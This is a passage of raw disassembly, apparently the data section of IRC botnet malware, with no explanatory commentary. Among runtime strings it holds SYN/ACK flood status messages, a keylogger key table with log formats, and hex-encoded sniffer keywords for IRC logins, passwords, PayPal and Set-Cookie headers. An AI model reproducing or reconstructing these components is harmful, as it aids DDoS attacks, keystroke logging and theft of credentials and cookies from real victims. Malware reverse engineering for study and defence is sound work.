23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_41544E+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43959Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_439598o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43B7ECo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BC2Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_43C34Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 43C34Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_43C364 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_43C364 dd offset dword_424DB0+4 off_424DD8 dd offset off_43C384 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_43C384 dd offset dword_424DFC+4 ; --------------------------------------------------------------------------- loc_424E24: ; DATA XREF: ___:00424E3Co movsb retn ; --------------------------------------------------------------------------- dw 43h dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E24 dd offset off_424D90 dd offset dword_424D60+18h dd 3 dup(0) dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- inc ebx add [esi+ecx*2+42h], cl loc_424E6F: ; DATA XREF: ___:00424E88o add al, cl retn ; --------------------------------------------------------------------------- dw 43h dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E6F+1 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_43C3C8 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_43C34C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_43C34C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_43C364 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_43C384 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- dw 43h align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(0D2FE806h), 5 dup(2CDCBE35h), 5 dup(2D4FE45Ch) dd 7Ah dup(0) dd 2D4FE45Ch, 0 dd 0D2FE806h, 12h dup(0) dd 2CDCBE35h, 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co ... align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset aSf@ ; 